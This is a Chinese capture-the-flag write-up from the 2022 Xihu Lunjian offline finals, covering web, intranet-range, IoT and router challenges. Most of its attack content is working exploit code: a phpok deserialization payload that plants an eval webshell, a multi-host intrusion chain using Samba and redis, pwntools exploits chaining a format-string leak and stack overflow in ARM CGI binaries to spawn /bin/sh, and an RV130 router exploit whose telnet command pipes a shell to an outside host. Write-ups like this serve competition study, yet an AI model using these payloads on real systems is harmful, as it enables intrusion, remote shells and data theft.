酷应用

西湖论剑线下-WriteUp

百家作者：Chamd5安全团队 2022-03-17 13:14:42

单点渗透web

|?ZohoManager

解题思路

https://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html

msf用CVE-2021-3287直接打即可

|?AlphaOKOK

解题思路

绕过死亡exit，反序列化写文件

参考

https://nikoeurus.github.io/2019/12/13/phpok-V5.3%205.4%E5%89%8D%E5%8F%B0getshell/#%E6%94%BB%E5%87%BB

第一步得到写文件的序列化payload

<?php
class?cache
{
????protected?$key_id;
????protected?$key_list;
????protected?$folder;
????public?function?__construct()
????{
????????$this->key_id?=?"php://filter/write=convert.base64-decode/resource=somnus";
????????$this->folder?=?"";
????????$a?=?'<?php?eval($_REQUEST["a"]);?>';
????????$this->key_list?=?"aa".base64_encode($a);
????}
}
$c?=?new?cache();
echo?bin2hex(serialize($c));

然后直接

/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22sql%22%2c%22cache%22%3a%22false%22%2c%22sqlinfo%22%3a%22INSERT%20INTO%20qinggan_fields(%60id%60%2c%60ftype%60%2c%60title%60%2c%60identifier%60%2c%60field_type%60%2c%60note%60%2c%60form_type%60%2c%60form_style%60%2c%60format%60%2c%60content%60%2c%60taxis%60%2c%60ext%60%2c%60is_front%60%2c%60search%60%2c%60search_separator%60%2c%60form_class%60)%20VALUES(1%2c'21'%2c'text'%2c'pic'%2c'int'%2c'test'%2c'upload'%2c'test'%2c'safe'%2c'test'%2c20%2c0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a34323a22616150443977614841675a585a686243676b58314a465556564655315262496d456958536b37507a343d223b733a393a22002a00666f6c646572223b733a303a22223b7d%2c0%2c0%2c'test'%2c'test')%3b%22%7d%7d

再访问如下链接触发反序列化

/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22fields%22%2c%22cache%22%3a%22false%22%2c%22site%22%3a1%2c%22pid%22%3a41%7d%7d最后去访问http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可

最后去访问

http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可

DPR纵深渗透靶场

|?打击犯罪团伙复盘

解题思路

赛后复盘：

先放一个拓扑：

他的入口有两条第一条是一个叫phpok的cms，是一个反序列化的0day，因为官方最后放出了打了一点点码的poc，赛后回酒店也复现了下，照葫芦画瓢也不难分析出来，其实就是login这个控制器中的update方法中调用了decode，又在decode中进行了反序列化的操作，并且cache类中__destruct方法有写文件的操作。图中的那个Alphabug-Web就是部署了phpok的机器，并且是在docker中部署的，他的宿主机有一个文件读取的洞，可以读到储存在本机的redis的账号密码，连上的redis是root权限，所以可以直接拿下那个database。
第二个入口就是红包的这个站，入口点是一个后台上传页面，用这个cms的默认密码进后台即可，出题人在github上泄漏了这个cms的代码，或者也可以在源码中国找到。存在杀毒软件，简单绕过就可以，我们拿到这台机器的shell后，会在这个机器上发现sqlserver数据库的账号密码，我们用得到的sqlserver账号密码直接去连那个Teamserver，但是会有杀软要做一些绕过，TeamServer是用phpstudy搭建起来的，存在那个phpstudy后门，直接用这个也行
linuxA有个samba的rce，cve-2017-7494，攻击路线：samba getshell，利用docker挂载物理/home/目录到docker中，逃逸到物理机，（利用方法为，在home中发现jack用户，创建ssh证书，利用ssh证书登陆物理机，jack为低权限，进行提权）
拿下linuxA后，查看历史执行命令，会发现有：ssh jack@xxx.xxx.xxx.xxx,并且还会发现id_rsa的文件存在，所以可以ssh连到B，B上开了ftp服务和redis服务，可以直接匿名连上ftp，在里面会发现redis的账号密码等，得到账号密码后连接redis，会发现是root权限，利用redis提权，获取flag。

（以上为赛后复现）

IOT

|?many cgi of lighttpd

解题思路

三个cgi文件，一个busybox具有telnet功能，可能是为了方便调试，或者是方便shell

在S98lighttpd 中有提示需要了leak session.

Libc 有点新，需要使用21.04 以上的版本才好搭建调试环境

0x10 对cgi-bin进行分析

55.cgi 发现第一步进行了auth的检查

int?__fastcall?main(int?a1,?char?**a2,?char?**a3)
{
??char?*v3;?//?r0
??void?*ptr;?//?[sp+4h]?[bp-18h]
??int?n;?//?[sp+8h]?[bp-14h]
??const?char?*v8;?//?[sp+Ch]?[bp-10h]
??char?*v9;?//?[sp+10h]?[bp-Ch]
??const?char?*s1;?//?[sp+14h]?[bp-8h]

??if?(?!sub_109F0(a1,?a2,?a3)?)?//?检查auth
??{
????puts("No?Authentication");
????exit(1);
??}
??puts("Content-Type:?text/plain\n");
??s1?=?getenv("REQUEST_METHOD");
??if?(?!strcmp(s1,?"GET")?)
??{
????v9?=?getenv("QUERY_STRING");
????sub_10B48(v9);
????return?0;
??}
??if?(?strcmp(s1,?"POST")?)
??{
????sub_10B48(0);
????return?0;
??}
??v8?=?getenv("CONTENT_TYPE");
??if?(?strcmp(v8,?"application/x-www-form-urlencoded")?)
??{
????printf("CONTENT_TYPE?not?supported?now?!");
????return?0;
??}
??v3?=?getenv("CONTENT_LENGTH");
??n?=?atoi(v3);
??if?(?n?<=?3316?&&?n?>=?0?)
??{
????ptr?=?calloc(n?+?1,?1u);
????fread(ptr,?1u,?n,?(FILE?*)stdin);
????sub_10B48((char?*)ptr);
????free(ptr);
????return?0;
??}
??printf("CONTENT_LENGTH?not?supported?now?!");
??return?-1;
}

63.cgi

int?__fastcall?main(int?a1,?char?**a2,?char?**a3)
{
??char?*v3;?//?r0
??void?*ptr;?//?[sp+4h]?[bp-18h]
??int?n;?//?[sp+8h]?[bp-14h]
??const?char?*v7;?//?[sp+Ch]?[bp-10h]
??char?*v8;?//?[sp+10h]?[bp-Ch]
??const?char?*s1;?//?[sp+14h]?[bp-8h]

??if?(?!sub_108C8()?)?//?check?auth
??{
????puts("No?Authentication");
????exit(1);
??}
??puts("Content-Type:?text/plain\n");
??s1?=?getenv("REQUEST_METHOD");
??if?(?!strcmp(s1,?"GET")?)
??{
????v8?=?getenv("QUERY_STRING");
????sub_109E0(v8);
??}
??else?if?(?!strcmp(s1,?"POST")?)
??{
????v7?=?getenv("CONTENT_TYPE");
????if?(?!strcmp(v7,?"application/x-www-form-urlencoded")?)
????{
??????v3?=?getenv("CONTENT_LENGTH");
??????n?=?atoi(v3);
??????ptr?=?calloc(n?+?1,?1u);
??????fread(ptr,?1u,?n,?(FILE?*)stdin);
??????sub_109E0(ptr);
??????free(ptr);
????}
????else
????{
??????printf("CONTENT_TYPE?not?supported?now?!");
????}
??}
??else
??{
????sub_109E0(0);
??}
??return?0;
}

index.cgi

int?__fastcall?main(int?a1,?char?**a2,?char?**a3)
{
??_DWORD?*v4;?//?[sp+Ch]?[bp-8h]

??puts("Content-type:?text/plain\r\n\r");
??v4?=?sub_115AC();?//?获取环境变量
??sub_1253C((int)v4,?(FILE?*)stdout);?
??sub_120FC((int)v4);
??return?0;
}

主要环境变量为：
.rodata:00012824?????????????????????????????????????????;?"SERVER_SOFTWARE"
.rodata:00012828?????????????????DCD?aServerName?????????;?"SERVER_NAME"
.rodata:0001282C?????????????????DCD?aGatewayInterfa?????;?"GATEWAY_INTERFACE"
.rodata:00012830?????????????????DCD?aServerProtocol?????;?"SERVER_PROTOCOL"
.rodata:00012834?????????????????DCD?aServerPort?????????;?"SERVER_PORT"
.rodata:00012838?????????????????DCD?aRequestMethod??????;?"REQUEST_METHOD"
.rodata:0001283C?????????????????DCD?aPathInfo???????????;?"PATH_INFO"
.rodata:00012840?????????????????DCD?aPathTranslated?????;?"PATH_TRANSLATED"
.rodata:00012844?????????????????DCD?aScriptName?????????;?"SCRIPT_NAME"
.rodata:00012848?????????????????DCD?aQueryString????????;?"QUERY_STRING"
.rodata:0001284C?????????????????DCD?aRemoteHost?????????;?"REMOTE_HOST"
.rodata:00012850?????????????????DCD?aRemoteAddr?????????;?"REMOTE_ADDR"
.rodata:00012854?????????????????DCD?aAuthType???????????;?"AUTH_TYPE"
.rodata:00012858?????????????????DCD?aRemoteUser?????????;?"REMOTE_USER"
.rodata:0001285C?????????????????DCD?aRemoteIdent????????;?"REMOTE_IDENT"
.rodata:00012860?????????????????DCD?aContentType????????;?"CONTENT_TYPE"
.rodata:00012864?????????????????DCD?aContentLength??????;?"CONTENT_LENGTH"
.rodata:00012868?????????????????DCD?aHttpAccept?????????;?"HTTP_ACCEPT"
.rodata:0001286C?????????????????DCD?aHttpUserAgent??????;?"HTTP_USER_AGENT"
.rodata:00012870?????????????????DCD?aHttpCookies????????;?"HTTP_COOKIES"

暂时未发现可以泄漏session的地方，因此我们查看lighttpd的配置文件里有没有什么收获

0x20 conf.d lighted config

可以看到sesseion 是在/var/tmp/session 下，而web是在/var/www 目录下

这时假设我们可以穿越路径去读，那么我们请求

/../tmp/session?->?/var/www/../tmp/session?->?/var/tmp/session

就可以泄漏session 了，我们启动服务去调试一下，实际环境发现并不能泄漏成功

0x30 思路

通过目录穿越泄漏session
通过溢出去执行telnetd -l /bin/sh -p 6789

而这里我注意到system函数存在在文件55.cgi 中因此我们来重点分析这个文件

这里我们先猜测这三个文件分别对应处理的功能主要依靠传入content_length 来判断长度

index.cgi?主要处理环境变量
55.cgi?漏洞点
63.cgi?Welcome?page

这里我们先看63.cgi 的主要函数

content_length?不受限
char?*__fastcall?sub_109E0(char?*result)
{
??if?(?result?)
??{
????result?=?strstr(result,?"name=");
????if?(?result?)
????{
??????if?(?result[5]?)
????????return?(char?*)printf("Hello?%s?!\n",?result?+?5);
????}
??}
??return?result;
}

没什么异常，打印了一下Welcome

刚才看了一下提示，提示说是用格式化字符串泄漏uuid，因此分析错了

而程序里另一个函数引起了我的注意：开头的checkauth函数

int?sub_108C8()
{
??char?s[20];?//?[sp+0h]?[bp-54h]?BYREF
??char?s2[20];?//?[sp+14h]?[bp-40h]?BYREF
??char?haystack[24];?//?[sp+28h]?[bp-2Ch]?BYREF
??char?*format;?//?[sp+40h]?[bp-14h]
??char?*v5;?//?[sp+44h]?[bp-10h]
??char?*v6;?//?[sp+48h]?[bp-Ch]
??int?v7;?//?[sp+4Ch]?[bp-8h]

??v7?=?0;
??v6?=?getenv("HTTP_COOKIES");
??memset(s,?0,?0x11u);
??sub_107E8(s);
??if?(?v6?)
??{
????memset(haystack,?0,?0x17u);
????snprintf(haystack,?0x16u,?"%s",?v6);
????v5?=?strstr(haystack,?"uuid=");
????if?(?v5?)
????{
??????format?=?v5?+?5;
??????memset(s2,?0,?0x11u);
??????snprintf(s2,?0x11u,?v5?+?5);?//?格式话字符串，可以用来把s改掉或者泄漏出来
??????puts(s2);
??????if?(?!strncmp(s,?s2,?0x10u)?)
????????return?1;
????}
??}
??return?v7;
}

这里可以看到加入我们输入Cookie:uuid=%s%s%s 执行到第二个snprintf的时候会出现snprintf(s2,0x11u,"%s%s")

然后puts(s2) 泄漏出uuid

接下来我们看一下55.cgi

0?<?content_length?<?0xcf4
char?*__fastcall?sub_10B48(char?*result)
{
??unsigned?__int8?*content;?//?[sp+4h]?[bp-D20h]
??char?v2[3316];?//?[sp+Ch]?[bp-D18h]?BYREF
??char?*v3;?//?[sp+D00h]?[bp-24h]
??char?*v4;?//?[sp+D04h]?[bp-20h]
??int?v5;?//?[sp+D08h]?[bp-1Ch]
??int?v6;?//?[sp+D0Ch]?[bp-18h]
??size_t?n;?//?[sp+D10h]?[bp-14h]
??int?v8;?//?[sp+D14h]?[bp-10h]
??int?v9;?//?[sp+D18h]?[bp-Ch]
??char?*s2;?//?[sp+D1Ch]?[bp-8h]

??content?=?(unsigned?__int8?*)result;
??s2?=?"*#$^";
??if?(?result?)
??{
????if?(?!strncmp(result,?s2,?4u)?)
????{
??????v9?=?content[4];
??????v8?=?content[5]?+?2?*?v9;
??????n?=?content[6]?+?4?*?v8;
??????v6?=?content[7];
??????v5?=?content[8]?+?2?*?v6;
??????memset(v2,?0,?sizeof(v2));
??????memcpy(v2,?content,?n);
??????result?=?strstr(v2,?"*#$^");
??????v4?=?result;
??????if?(?result?)
??????{
????????v3?=?&v4[v5?-?77];
????????if?(?*v3?)
??????????return?(char?*)sub_10AFC(v3,?v5);?????//?猜测漏洞点在这里
????????//?strncpy(dest,v3,v5)?dest?[752]?=?0x2f8
????????//??0?<?content_length?<?0xcf4
??????}
????}
????else
????{
??????result?=?strstr(v2,?"ping");
??????if?(?result?)
????????return?(char?*)sub_109B0("20.21.2.26");?//?system("/bin/ping?-c?2?%s","20.21.2.26")
????}
??}
??return?result;
}

可以明显看出这里有点问题,因此我们的思路就明显很多了

构造出包
调用system("telnetd -l /bin/sh -p 6789")

0x40 构造溢出包

这里我们只需要构造content 发包为post

这里我们假设可以调试的话：我们应该先测试：63.cgi 根据他name的传递方式来确定我们这个包的传递方法

假设输入
*#$^AAAAAAAAAA
->?v9?=?0x41
->?v8?=?0x41?+?2?*?0x41
n?=?0x41+4*?v8?//?确定整个包的长度，因此要尽量确保他比较大
v6?=?0x41
v5?=?content[8]?+?2?*?v6?//?payload的位置,要尽量精确
v3?=?&[v5-77]

根据这个思路我们来构造payload

这里有几个点需要注意：

Strncpy(dest, source, n) 由于我们要溢出dest，因此我们要保证n要足够大（最少要大于0x300左右 > 0x2f0）
第二我们就要控制source 位置在去除前4个字节后的第（payload_length - 77）假设payload_lenth = 0x2fd的话就是第688个字节以后的位置开始进行复制因此我们要填补的offset就是0x2fd - 77 - 5 然后在加上dest的大小0x2f0 后面跟payload就可以了

length_part1?=?p8(0xff)
length_part2?=?p8(0xff)
length_part3?=?p8(0xff)
content_length_part1?=?p8(0xff)
content_length_part2?=?p8(0xff)
payload?="*#$^(length_part1)(length_part2)(length_part3)(content_length_part1)(content_length_part2)('A'*(0x2fd?-?77?-?5))+('B'*0x2f4?+?payload)"
n?=?lenth_part3?+?4?*?(length_part2?+?2?*?length_part1)?#3315
payload_length?=?content_length_part2?+?2?*?content_length_part1?#?0x2fd

包构造完了之后我们就要考虑利用的问题了，由于我们大概率只能覆盖一个地址，因此我们就要想办法把commend 的位置控制好，我们发现

.text:000109D4?????????????????SUB?????R3,?R11,?#-s
.text:000109D8?????????????????MOV?????R0,?R3??????????;?command
.text:000109DC?????????????????BL??????system

就可以等调试看看能不能利用成功了

没办法调试，但我脑子过了一遍

.text:00010B24?????????????????LDR?????R2,?[R11,#n]????;?n
.text:00010B28?????????????????SUB?????R3,?R11,?#-dest
.text:00010B2C?????????????????LDR?????R1,?[R11,#src]??;?src
.text:00010B30?????????????????MOV?????R0,?R3??????????;?dest
.text:00010B34?????????????????BL??????strncpy
?MOV?????R0,?R3??????????;?dest
执行过后?R0中应该还是是第二段payload
因此我们返回到0x000109DC?直接Call?system估计就行

POC:

#!/usr/bin/env?python
#-*-coding:utf-8-*-

from?pwn?import?*
import?requests?as?rq

context.log_level="debug"

request_url?=?"http://127.0.0.1:80/55.cgi"

headers_for_get_uuid?=?{
????"User-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36",
????"Content-Type":"application/x-www-form-urlencoded",
??#?这里需要调试出偏移来泄漏uuid或者直接把uuid改了
????"Cookies":"%s%s%s"?
}

res?=?rq.post(request_url,headers?=?headers_for_get_uuid)

log.info("res:?"+res)
#?get_uuid

headers?=?{
????"User-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36",
????"Content-Type":"application/x-www-form-urlencoded",
??#?替换掉这里的uuid
????"Cookies":"uuid=aaaabbbbccccdddd"
}

commend?=?"&?telnetd?-l?/bin/sh?-p?6789?;"

system?=?0x000109DC

length_part1?=?p8(0xff)
length_part2?=?p8(0xff)
length_part3?=?p8(0xff)
content_length_part1?=?p8(0xff)
content_length_part2?=?p8(0xff)
offset?=?0x2fd?-?77?-?5
payload?="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+?'A'*?offset
payload?+=?commend.ljust('B',0x2f4)
payload?+=?p32(system)

n?=?ord(length_part3)?+?4?*?(ord(length_part2)?+?2?*?ord(length_part1))?#3315
payload_length?=?ord(content_length_part2)?+?2?*?ord(content_length_part1)?#?0x2fd

log.info("package_length:?"+hex(n))
log.info("strncpy_n_length:?"+hex(payload_length))

rq.post(request_url,headers?=?headers?,data=payload)

0x40 调试

这里我们应该使用qemu-system去调试或者修改东西来调试

可以看到是小端序，泄漏出来的地址从后往前数

假设我们栈情况：
??char?s[20];?//?[sp+0h]?[bp-54h]?BYREF?//我们要泄漏的东西?长度为0x10
??char?s2[20];?//?[sp+14h]?[bp-40h]?BYREF
??char?haystack[24];?//?[sp+28h]?[bp-2Ch]?BYREF?//?uuid?12?=aaa?13?b%7$p?14
??char?*format;?//?[sp+40h]?[bp-14h]?// format位置?现在测试出为第7个即：%7$p
??char?*v5;?//?[sp+44h]?[bp-10h]?
??char?*v6;?//?[sp+48h]?[bp-Ch]
??int?v7;?//?[sp+4Ch]?[bp-8h]



??我们先泄漏一下haystack来进行测试我们的计算：
??haystack?=?(0x2c?-?0x14)?/?4?=?6
??因此format?应该等于?7+6?=?13

突然发现可以单独启动cgi来调试

export?HTTP_COOKIES=uuid=%2\$p?//?注意转义$
export?REQUEST_METHOD=POST
export?CONTENT_TYPE=application/x-www-form-urlencoded
export?CONTENT_LENGTH=10
export?QUERY_STRING=name=F0und

qemu-arm?-L?/usr/arm-linux-gnueabi?-g?1234?63.cgi?

根据刚才我们的推测可以判断session的偏移是%2$p-%5$p 且session不变，因此我们只要请求四次就可以泄漏session了

调试后可以看到没有问题

那么我们的第一段POC:

#!/usr/bin/env?python
#-*-coding:utf-8-*-

from?pwn?import?*
import?requests?as?rq

context.log_level="debug"

def?leak_session(format):
????request_url?=?"http://127.0.0.1:80/55.cgi"

????headers_for_get_uuid?=?{
????????"User-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36",
????????"Content-Type":"application/x-www-form-urlencoded",
????#?这里需要调试出偏移来泄漏uuid或者直接把uuid改了
????????"Cookies":?"uuid="+format?
????}

????res?=?rq.post(request_url,headers?=?headers_for_get_uuid)
????log.info("res:?"+res.text)

for?i?in?range(2,6):
??leak_session("%"+str(i)+"$p")

接下来就可以来调试栈溢出了

这部分由于我们的payload是要入才行，因此我们需要像这么输入：

echo?"name=F0und"?|?qemu-arm?-L?/usr/arm-linux-gnueabi?63.cgi?

我们简单写个脚本来生成调试用的payload

#!/usr/bin/env?python
#-*-coding:utf-8-*-
from?pwn?import?*

commend?=?"&?telnetd?-l?/bin/sh?-p?6789?;"

system?=?0x000109DC

length_part1?=?p8(0xff)
length_part2?=?p8(0xff)
length_part3?=?p8(0xff)
content_length_part1?=?p8(0xff)
content_length_part2?=?p8(0xff)
offset?=?0x2fd?-?77?-?5
payload?="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+?'A'*?offset
payload?+=?commend.ljust(0x2f4,"b")
payload?+=?p32(system)

n?=?ord(length_part3)?+?4?*?(ord(length_part2)?+?2?*?ord(length_part1))?#3315
payload_length?=?ord(content_length_part2)?+?2?*?ord(content_length_part1)?#?0x2fd

with?open("shellcode","w")?as?f:
????f.write(payload)
f.close()

log.info("package_length:?"+hex(n))
log.info("strncpy_n_length:?"+hex(payload_length))
log.info("payload_length:?"+str(len(payload)))?#content_length?1452
#?break?point?0x00010C84?
#?0x00010B34??

可以发现应该是溢出成功了，我们来调试一下看看

可以看到写入成功

调试一下偏移发现system = 0x00010BB0 也就是返回到第二个函数这里可以拿到shell

.text:00010B90?????????????????SUB?????R3,?R3,?#4
.text:00010B94?????????????????LDR?????R1,?=aPing??????;?"ping"
.text:00010B98?????????????????MOV?????R0,?R3??????????;?haystack
.text:00010B9C?????????????????BL??????strstr
.text:00010BA0?????????????????MOV?????R3,?R0
.text:00010BA4?????????????????CMP?????R3,?#0
.text:00010BA8?????????????????BEQ?????loc_10CCC
.text:00010BAC?????????????????LDR?????R0,?=a2021226???;?"20.21.2.26"
.text:00010BB0?????????????????BL??????sub_109B0
.text:00010BB4?????????????????B???????loc_10CCC

POC2:

#!/usr/bin/env?python
#-*-coding:utf-8-*-
from?pwn?import?*
#remote
#commend?=?";?telnetd?-l?/bin/sh?-p?6789?;"
commend?=?";/bin/sh;"

system?=?0x00010BB0

length_part1?=?p8(0xff)
length_part2?=?p8(0xff)
length_part3?=?p8(0xff)
content_length_part1?=?p8(0xff)
content_length_part2?=?p8(0xff)
offset?=?0x2fd?-?77?-?5?-?4
payload?="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+?'A'*?offset
payload?+=?commend.ljust(0x2f8,"b")
payload?+=?p32(system)

n?=?ord(length_part3)?+?4?*?(ord(length_part2)?+?2?*?ord(length_part1))?#3315
payload_length?=?ord(content_length_part2)?+?2?*?ord(content_length_part1)?#?0x2fd

with?open("shellcode","w")?as?f:
????f.write(payload)
f.close()

log.info("package_length:?"+hex(n))
log.info("strncpy_n_length:?"+hex(payload_length))
log.info("payload_length:?"+str(len(payload)))

0x50 Final EXP

#!/usr/bin/env?python
#-*-coding:utf-8-*-

from?pwn?import?*
import?requests?as?rq

context.log_level="debug"

def?leak_session(format):
????request_url?=?"http://127.0.0.1:80/55.cgi"

????headers_for_get_uuid?=?{
????????"User-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36",
????????"Content-Type":"application/x-www-form-urlencoded",
????#?这里需要调试出偏移来泄漏uuid或者直接把uuid改了
????????"Cookies":?"uuid="+format?
????}

????res?=?rq.post(request_url,headers?=?headers_for_get_uuid)
????log.info("res:?"+res.text)


#??leak?session
for?i?in?range(2,6):
??leak_session("%"+str(i)+"$p")

##?get?shell

headers?=?{
????"User-Agent":"Mozilla/5.0?(Macintosh;?Intel?Mac?OS?X?10_15_7)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/99.0.4844.51?Safari/537.36",
????"Content-Type":"application/x-www-form-urlencoded",
??#?替换掉这里的uuid
????"Cookies":"uuid=aaaabbbbccccdddd"
}

commend?=?";/bin/sh;"

system?=?0x00010BB0

length_part1?=?p8(0xff)
length_part2?=?p8(0xff)
length_part3?=?p8(0xff)
content_length_part1?=?p8(0xff)
content_length_part2?=?p8(0xff)
offset?=?0x2fd?-?77?-?5?-?4
payload?="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+?'A'*?offset
payload?+=?commend.ljust(0x2f8,"b")
payload?+=?p32(system)

n?=?ord(length_part3)?+?4?*?(ord(length_part2)?+?2?*?ord(length_part1))?#3315
payload_length?=?ord(content_length_part2)?+?2?*?ord(content_length_part1)?#?0x2fd

log.info("package_length:?"+hex(n))
log.info("strncpy_n_length:?"+hex(payload_length))
log.info("payload_length:?"+str(len(payload)))
rq.post(request_url,headers?=?headers?,data=payload)

|?no more time

解题思路

通过题目的描述可知道直接短接pd2即可

找到原理图上的pd2，那镊子一头接pd2一头接地,用串口连接工具连接后，即可打印flag

|?XH-Link

解题思路

进入logs_download，命令截断来执行sh。

两次输入v3实现;sh;

|?qtmm

解题思路

nc连接下发现是MQTT协议

通过现学发现需要发布和订阅，这里 topic:2022/hatlab/getflag一直在发信息，所以尝试发布信息

尝试了多次发布，最终找到了有用的两条命令

mosquitto_pub.exe -h "114.5.18.26" -t "2022/hatlab/getflag" -m "oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA="

mosquitto_pub.exe -h "114.5.18.26" -t "2022/hatlab/flag" -m "oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA="

|?Base64

解题思路

这道题目是这场比赛唯一没上lockbit的，可以直接提取固件，这次比赛的板子波特率都是112500

用usp-isp然后拿FPC转接板对照原理图，在对应端口连一下，用avrdude提取芯片然后进行avr逆向，会发现base64码表被改动了，用他的base64码表去解码串口出来的那串字符就可以解出flag，串口出口的字符就是被加密了的字符

ps:板子的账号root密码771c34d4f304fbc3

虚实结合

|?扫地机器人

解题思路：

通过联系CVE-2021-1602和CVE41773 利用前者的攻击手法和后者的RCE思路，拿下A路由器权限，比赛时我选择了打/download/dniapi/，用Authorization: Basic 来发攻击命令，但是不知道为什么没有成功回显，赛后线下交流会时，通过大佬的讲解，我发现大概自己时echo漏了或者在借助目录穿越去调用/bin/sh/的时候存在了问题，千里之堤，毁于蚁穴，在这里耽误了太多时间。

然后连上B路由器进行攻击，RV130的POC比较多，随便一个CVE-2021-30xxxx的似乎都可以打下来

#!/usr/bin/python

import?requests
from?pwn?import?*
context.log_level=logging.DEBUG
context(arch='arm',os='linux',endian='little')

url?=?"https://192.168.1.1/guest_logout.cgi"

#?padding?to?0xa9aed?+?0x23?and?then?next?instructon?starts?at?0xa9b10?
system_arg_addr?=?0xa9b10
jmp_target?=?0xa9ba8?

padding?=?b'x'*0x23

cmd?=?b"telnet?192.168.1.101?4444?|?/bin?|?telnet?192.168.1.101?5555\n"

payload?=?padding?+?cmd

payload?=?payload.ljust(cyclic_find("abma")+3*8+4,b'x')
#?pop????{r4,?r5,?r6,?r7,?r8,?sb,?sl,?fp,?pc}
#?payload?+=?b'1234'?*?8

payload?+=?p32(0x35849144)
payload?+=?p32(jmp_target)?

payload?+=?b'x'?*?5

'''
0x35849144
'''

shellcode=?'''
mov?r0,pc
sub?r0,r0,#0xa0
push?{r11}
pop?{pc}
'''

shellcode?=?asm(shellcode)

payload?+=?shellcode

payload?=?{
????????"cmac":"12:af:aa:bb:cc:dd",
????????"submit_button":b"status_captive.asp"+payload,
????????"cip":"192.168.1.100"
????????}
requests.post(url,?data=payload,?verify=False,?timeout=1)